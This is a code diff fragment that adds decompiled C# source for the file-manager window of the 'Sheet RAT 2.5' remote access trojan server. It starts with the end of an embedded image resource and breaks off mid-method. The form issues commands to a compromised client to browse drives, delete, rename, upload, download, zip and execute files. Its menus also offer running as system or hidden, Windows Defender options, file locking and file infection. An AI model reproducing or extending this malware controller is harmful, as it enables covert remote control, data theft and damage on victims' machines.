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 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormFileManager.cs b/Server/Server/Forms/FormFileManager.cs new file mode 100644 index 0000000..4a86dc2 --- /dev/null +++ b/Server/Server/Forms/FormFileManager.cs @@ -0,0 +1,1063 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormFileManager +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Microsoft.VisualBasic; +using Server.Connection; +using Server.Helper; +using Server.Helper.Configs.Themes; +using Server.Properties; +using System; +using System.Windows.Forms; +using System.Collections.Generic; +using System.ComponentModel; +using System.Drawing; +using System.IO; +using System.Text; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormFileManager : MetroForm +{ + public Clients client; + public Clients Plugin; + public string pathforDownload; + private IContainer components; + private Panel FileManager; + public ImageList imageList3; + private ContextMenuStrip contextMenuStrip1; + private ToolStripMenuItem backToolStripMenuItem; + private ToolStripMenuItem rEFRESHToolStripMenuItem; + private Panel panel1; + private ToolStripMenuItem createFolderToolStripMenuItem; + private ToolStripMenuItem removeToolStripMenuItem; + private ToolStripMenuItem renameToolStripMenuItem; + private ToolStripMenuItem uploadToolStripMenuItem; + private ToolStripMenuItem downloadToolStripMenuItem; + private ToolStripMenuItem zipToolStripMenuItem; + private ToolStripMenuItem unZipToolStripMenuItem; + private ToolStripMenuItem zipToolStripMenuItem1; + private ToolStripMenuItem excuteToolStripMenuItem; + private ToolStripMenuItem excuteToolStripMenuItem1; + private ToolStripMenuItem excuteRunAsToolStripMenuItem; + private ToolStripMenuItem excuteRunAsSystemToolStripMenuItem; + private ToolStripMenuItem excuteRunAsHiddenToolStripMenuItem; + private ToolStripMenuItem windowsDefenderToolStripMenuItem; + private ToolStripMenuItem attributeToolStripMenuItem; + private ToolStripMenuItem hidenToolStripMenuItem; + private ToolStripMenuItem systemToolStripMenuItem; + private ToolStripMenuItem normalToolStripMenuItem; + private ToolStripMenuItem readOnlyToolStripMenuItem; + private ToolStripMenuItem direcToolStripMenuItem; + private ToolStripMenuItem cutToolStripMenuItem1; + private ToolStripMenuItem pasteToolStripMenuItem; + private ToolStripMenuItem copyToolStripMenuItem; + private ToolStripMenuItem startAudioToolStripMenuItem; + public Timer timer1; + private ColumnHeader hName; + private ColumnHeader hType; + private ColumnHeader hValue; + private ToolStripMenuItem copyMeToolStripMenuItem; + private ContextMenuStrip contextMenuStrip2; + private ToolStripMenuItem refreshToolStripMenuItem1; + public MetroTextBox TextBoxPathForFile; + public ImageList ImageList1; + private ToolStripMenuItem lockerToolStripMenuItem; + private ToolStripMenuItem unlockToolStripMenuItem; + private ToolStripMenuItem lockToolStripMenuItem; + private ToolStripMenuItem fileInfectingToolStripMenuItem; + public DataGridView metroGridDirictorys; + public DataGridView metroGridPathes; + + public FormFileManager() => this.InitializeComponent(); + + private void refreshToolStripMenuItem1_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) "GetDrive"); + } + + private void listView2_DoubleClick(object sender, EventArgs e) + { + if (this.Plugin == null) + return; + try + { + this.Plugin.Send((object) ("GetPath<@>" + (string) this.metroGridPathes.SelectedRows[0].Cells[1].Value)); + } + catch + { + } + } + + private void metroGridDirictorys_DoubleClick(object sender, EventArgs e) + { + if (this.Plugin == null) + return; + try + { + if (!((string) this.metroGridDirictorys.SelectedRows[0].Cells[3].Value == "Folders")) + return; + this.Plugin.Send((object) ("GetPath<@>" + Path.Combine(this.TextBoxPathForFile.Text, (string) this.metroGridDirictorys.SelectedRows[0].Cells[1].Value))); + } + catch + { + } + } + + private void Manager_Load(object sender, EventArgs e) + { + this.metroGridPathes.DoubleClick += new EventHandler(this.listView2_DoubleClick); + this.metroGridDirictorys.DoubleClick += new EventHandler(this.metroGridDirictorys_DoubleClick); + DataGridViewColumnCollection columns1 = this.metroGridPathes.Columns; + DataGridViewImageColumn gridViewImageColumn1 = new DataGridViewImageColumn(); + gridViewImageColumn1.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + gridViewImageColumn1.HeaderText = " "; + columns1.Add((DataGridViewColumn) gridViewImageColumn1); + DataGridViewColumnCollection columns2 = this.metroGridPathes.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn1 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn1.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill; + viewTextBoxColumn1.HeaderText = " "; + columns2.Add((DataGridViewColumn) viewTextBoxColumn1); + DataGridViewColumnCollection columns3 = this.metroGridDirictorys.Columns; + DataGridViewImageColumn gridViewImageColumn2 = new DataGridViewImageColumn(); + gridViewImageColumn2.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + gridViewImageColumn2.HeaderText = " "; + columns3.Add((DataGridViewColumn) gridViewImageColumn2); + DataGridViewColumnCollection columns4 = this.metroGridDirictorys.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn2 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn2.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + viewTextBoxColumn2.HeaderText = " "; + viewTextBoxColumn2.MinimumWidth = 200; + columns4.Add((DataGridViewColumn) viewTextBoxColumn2); + DataGridViewColumnCollection columns5 = this.metroGridDirictorys.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn3 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn3.AutoSizeMode = DataGridViewAutoSizeColumnMode.AllCells; + viewTextBoxColumn3.HeaderText = "Size"; + viewTextBoxColumn3.MinimumWidth = 100; + columns5.Add((DataGridViewColumn) viewTextBoxColumn3); + DataGridViewColumnCollection columns6 = this.metroGridDirictorys.Columns; + DataGridViewTextBoxColumn viewTextBoxColumn4 = new DataGridViewTextBoxColumn(); + viewTextBoxColumn4.AutoSizeMode = DataGridViewAutoSizeColumnMode.Fill; + viewTextBoxColumn4.HeaderText = "Type"; + columns6.Add((DataGridViewColumn) viewTextBoxColumn4); + if (Customs.customs.Theme != MetroThemeStyle.Dark || Customs.customs.Style != MetroColorStyle.Lime) + { + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.TextBoxPathForFile.Style = Customs.customs.Style; + } + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.TextBoxPathForFile.Theme = Customs.customs.Theme; + this.metroGridDirictorys.GridColor = Customs.customs.ThemeToColor(); + this.metroGridDirictorys.BackgroundColor = Customs.customs.ThemeToColor(); + this.metroGridPathes.GridColor = Customs.customs.ThemeToColor(); + this.metroGridPathes.BackgroundColor = Customs.customs.ThemeToColor(); + Program.form.SetThemeContextMenu(Customs.customs.Theme, this.contextMenuStrip1); + Program.form.SetThemeContextMenu(Customs.customs.Theme, this.contextMenuStrip2); + this.panel1.BackColor = Customs.customs.ThemeToColor(); + } + this.Refresh(); + } + DataGridViewCellStyle gridViewCellStyle = new DataGridViewCellStyle(); + gridViewCellStyle.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle.ForeColor = Customs.customs.StyleToColor(); + gridViewCellStyle.Font = new Font("Segoe UI", 11f, FontStyle.Regular, GraphicsUnit.Pixel); + gridViewCellStyle.BackColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White; + gridViewCellStyle.SelectionForeColor = Customs.customs.Theme == MetroThemeStyle.Dark ? Color.FromArgb(17, 17, 17) : Color.White; + gridViewCellStyle.SelectionBackColor = Customs.customs.StyleToColor(); + gridViewCellStyle.WrapMode = DataGridViewTriState.False; + this.metroGridDirictorys.ColumnHeadersDefaultCellStyle = gridViewCellStyle; + this.metroGridDirictorys.DefaultCellStyle = gridViewCellStyle; + this.metroGridPathes.ColumnHeadersDefaultCellStyle = gridViewCellStyle; + this.metroGridPathes.DefaultCellStyle = gridViewCellStyle; + this.metroGridDirictorys.RowTemplate.Resizable = DataGridViewTriState.True; + this.metroGridDirictorys.RowTemplate.MinimumHeight = 30; + List dataGridViewRowList = new List(); + dataGridViewRowList.Add(new DataGridViewRow()); + dataGridViewRowList.Add(new DataGridViewRow()); + dataGridViewRowList.Add(new DataGridViewRow()); + dataGridViewRowList.Add(new DataGridViewRow()); + dataGridViewRowList.Add(new DataGridViewRow()); + dataGridViewRowList.Add(new DataGridViewRow()); + dataGridViewRowList.Add(new DataGridViewRow()); + dataGridViewRowList.Add(new DataGridViewRow()); + dataGridViewRowList.Add(new DataGridViewRow()); + dataGridViewRowList.Add(new DataGridViewRow()); + DataGridViewCellCollection cells1 = dataGridViewRowList[0].Cells; + DataGridViewImageCell gridViewImageCell1 = new DataGridViewImageCell(); + gridViewImageCell1.Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20); + gridViewImageCell1.ImageLayout = DataGridViewImageCellLayout.Stretch; + cells1.Add((DataGridViewCell) gridViewImageCell1); + DataGridViewCellCollection cells2 = dataGridViewRowList[1].Cells; + DataGridViewImageCell gridViewImageCell2 = new DataGridViewImageCell(); + gridViewImageCell2.Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20); + gridViewImageCell2.ImageLayout = DataGridViewImageCellLayout.Stretch; + cells2.Add((DataGridViewCell) gridViewImageCell2); + DataGridViewCellCollection cells3 = dataGridViewRowList[2].Cells; + DataGridViewImageCell gridViewImageCell3 = new DataGridViewImageCell(); + gridViewImageCell3.Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20); + gridViewImageCell3.ImageLayout = DataGridViewImageCellLayout.Stretch; + cells3.Add((DataGridViewCell) gridViewImageCell3); + DataGridViewCellCollection cells4 = dataGridViewRowList[3].Cells; + DataGridViewImageCell gridViewImageCell4 = new DataGridViewImageCell(); + gridViewImageCell4.Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20); + gridViewImageCell4.ImageLayout = DataGridViewImageCellLayout.Stretch; + cells4.Add((DataGridViewCell) gridViewImageCell4); + DataGridViewCellCollection cells5 = dataGridViewRowList[4].Cells; + DataGridViewImageCell gridViewImageCell5 = new DataGridViewImageCell(); + gridViewImageCell5.Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20); + gridViewImageCell5.ImageLayout = DataGridViewImageCellLayout.Stretch; + cells5.Add((DataGridViewCell) gridViewImageCell5); + DataGridViewCellCollection cells6 = dataGridViewRowList[5].Cells; + DataGridViewImageCell gridViewImageCell6 = new DataGridViewImageCell(); + gridViewImageCell6.Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20); + gridViewImageCell6.ImageLayout = DataGridViewImageCellLayout.Stretch; + cells6.Add((DataGridViewCell) gridViewImageCell6); + DataGridViewCellCollection cells7 = dataGridViewRowList[6].Cells; + DataGridViewImageCell gridViewImageCell7 = new DataGridViewImageCell(); + gridViewImageCell7.Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20); + gridViewImageCell7.ImageLayout = DataGridViewImageCellLayout.Stretch; + cells7.Add((DataGridViewCell) gridViewImageCell7); + DataGridViewCellCollection cells8 = dataGridViewRowList[7].Cells; + DataGridViewImageCell gridViewImageCell8 = new DataGridViewImageCell(); + gridViewImageCell8.Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20); + gridViewImageCell8.ImageLayout = DataGridViewImageCellLayout.Stretch; + cells8.Add((DataGridViewCell) gridViewImageCell8); + DataGridViewCellCollection cells9 = dataGridViewRowList[8].Cells; + DataGridViewImageCell gridViewImageCell9 = new DataGridViewImageCell(); + gridViewImageCell9.Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20); + gridViewImageCell9.ImageLayout = DataGridViewImageCellLayout.Stretch; + cells9.Add((DataGridViewCell) gridViewImageCell9); + DataGridViewCellCollection cells10 = dataGridViewRowList[9].Cells; + DataGridViewImageCell gridViewImageCell10 = new DataGridViewImageCell(); + gridViewImageCell10.Value = (object) new Bitmap((Image) Resources.downloadfolderblank_99350, 20, 20); + gridViewImageCell10.ImageLayout = DataGridViewImageCellLayout.Stretch; + cells10.Add((DataGridViewCell) gridViewImageCell10); + DataGridViewCellCollection cells11 = dataGridViewRowList[0].Cells; + DataGridViewTextBoxCell gridViewTextBoxCell1 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell1.Value = (object) "AppData"; + cells11.Add((DataGridViewCell) gridViewTextBoxCell1); + DataGridViewCellCollection cells12 = dataGridViewRowList[1].Cells; + DataGridViewTextBoxCell gridViewTextBoxCell2 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell2.Value = (object) "Download"; + cells12.Add((DataGridViewCell) gridViewTextBoxCell2); + DataGridViewCellCollection cells13 = dataGridViewRowList[2].Cells; + DataGridViewTextBoxCell gridViewTextBoxCell3 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell3.Value = (object) "Windows"; + cells13.Add((DataGridViewCell) gridViewTextBoxCell3); + DataGridViewCellCollection cells14 = dataGridViewRowList[3].Cells; + DataGridViewTextBoxCell gridViewTextBoxCell4 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell4.Value = (object) "Desktop"; + cells14.Add((DataGridViewCell) gridViewTextBoxCell4); + DataGridViewCellCollection cells15 = dataGridViewRowList[4].Cells; + DataGridViewTextBoxCell gridViewTextBoxCell5 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell5.Value = (object) "UserProfile"; + cells15.Add((DataGridViewCell) gridViewTextBoxCell5); + DataGridViewCellCollection cells16 = dataGridViewRowList[5].Cells; + DataGridViewTextBoxCell gridViewTextBoxCell6 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell6.Value = (object) "StartUp"; + cells16.Add((DataGridViewCell) gridViewTextBoxCell6); + DataGridViewCellCollection cells17 = dataGridViewRowList[6].Cells; + DataGridViewTextBoxCell gridViewTextBoxCell7 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell7.Value = (object) "System32"; + cells17.Add((DataGridViewCell) gridViewTextBoxCell7); + DataGridViewCellCollection cells18 = dataGridViewRowList[7].Cells; + DataGridViewTextBoxCell gridViewTextBoxCell8 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell8.Value = (object) "MyPictures"; + cells18.Add((DataGridViewCell) gridViewTextBoxCell8); + DataGridViewCellCollection cells19 = dataGridViewRowList[8].Cells; + DataGridViewTextBoxCell gridViewTextBoxCell9 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell9.Value = (object) "Temp"; + cells19.Add((DataGridViewCell) gridViewTextBoxCell9); + DataGridViewCellCollection cells20 = dataGridViewRowList[9].Cells; + DataGridViewTextBoxCell gridViewTextBoxCell10 = new DataGridViewTextBoxCell(); + gridViewTextBoxCell10.Value = (object) "ProgramData"; + cells20.Add((DataGridViewCell) gridViewTextBoxCell10); + this.metroGridPathes.Rows.AddRange(dataGridViewRowList.ToArray()); + this.FormClosing += (FormClosingEventHandler) ((t, p) => + { + if (this.Plugin == null) + return; + this.Plugin.Disconnected(); + }); + } + + private void backToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.TextBoxPathForFile.Text.Length <= 3) + return; + string str = this.TextBoxPathForFile.Text.Remove(this.TextBoxPathForFile.Text.LastIndexOfAny(new char[1] + { + '\\' + }, this.TextBoxPathForFile.Text.LastIndexOf('\\'))); + if (!str.Contains("\\")) + str += "\\"; + this.Plugin.Send((object) ("GetPath<@>" + str)); + } + + private void rEFRESHToolStripMenuItem_Click(object sender, EventArgs e) + { + this.Plugin.Send((object) ("GetPath<@>" + this.TextBoxPathForFile.Text)); + } + + private void createFolderToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + this.Plugin.Send((object) ("CreateDir<@>" + Path.Combine(this.TextBoxPathForFile.Text, Interaction.InputBox("\nInput name folder.", "name")))); + } + + private void removeToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + this.Plugin.Send((object) ("Remove<@>" + Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value))); + } + + private void renameToolStripMenuItem_Click(object sender, EventArgs e) + { + string str = Interaction.InputBox("\nInput name.", "name"); + this.Plugin.Send((object) $"Rename<@>{Path.Combine(this.TextBoxPathForFile.Text, (string) this.metroGridDirictorys.SelectedRows[0].Cells[1].Value)}<@>{str}"); + } + + private void uploadToolStripMenuItem_Click(object sender, EventArgs e) + { + using (OpenFileDialog openFileDialog = new OpenFileDialog()) + { + openFileDialog.Multiselect = true; + if (openFileDialog.ShowDialog() != DialogResult.OK) + return; + FormProgressBar CT = new FormProgressBar(); + Program.form.Invoke((MethodInvoker) (() => + { + CT.Name = $"ManagerProgressBar:{this.client.ID}.{Path.Combine(this.TextBoxPathForFile.Text, new FileInfo(openFileDialog.FileName).Name)}"; + CT.download = false; + CT.Text = this.client.ID; + CT.path = Path.Combine(this.TextBoxPathForFile.Text, new FileInfo(openFileDialog.FileName).Name); + CT.pathFile = openFileDialog.FileName; + CT.size = Convert.ToInt32(new FileInfo(openFileDialog.FileName).Length); + CT.Show(); + this.Plugin.Send((object) ("UploadConnect<@>" + Path.Combine(this.TextBoxPathForFile.Text, new FileInfo(openFileDialog.FileName).Name))); + })); + } + } + + private void downloadToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + this.Plugin.Send((object) ("Download<@>" + Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value))); + } + + private void unZipToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + { + if (((string) selectedRow.Cells[1].Value).Contains(".zip")) + this.Plugin.Send((object) ("UnZip<@>" + Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value))); + } + } + + private void zipToolStripMenuItem1_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + this.Plugin.Send((object) ("Zip<@>" + Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value))); + } + + private void excuteToolStripMenuItem1_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + this.Plugin.Send((object) ("Excute<@>" + Path.Combine(this.TextBoxPathForFile.Text, (string) selectedRow.Cells[1].Value))); + } + + private void excuteRunAsToolStripMenuItem_Click(object sender, EventArgs e) + { + if (this.metroGridDirictorys.SelectedRows.Count <= 0) + return; + foreach (DataGridViewRow selectedRow in (BaseCollection) this.metroGridDirictorys.SelectedRows) + this.Plugin.Send((object) ("ExcuteRunAs<@>" + Path.Combine(this.TextBoxPathForFile.Text, (string) 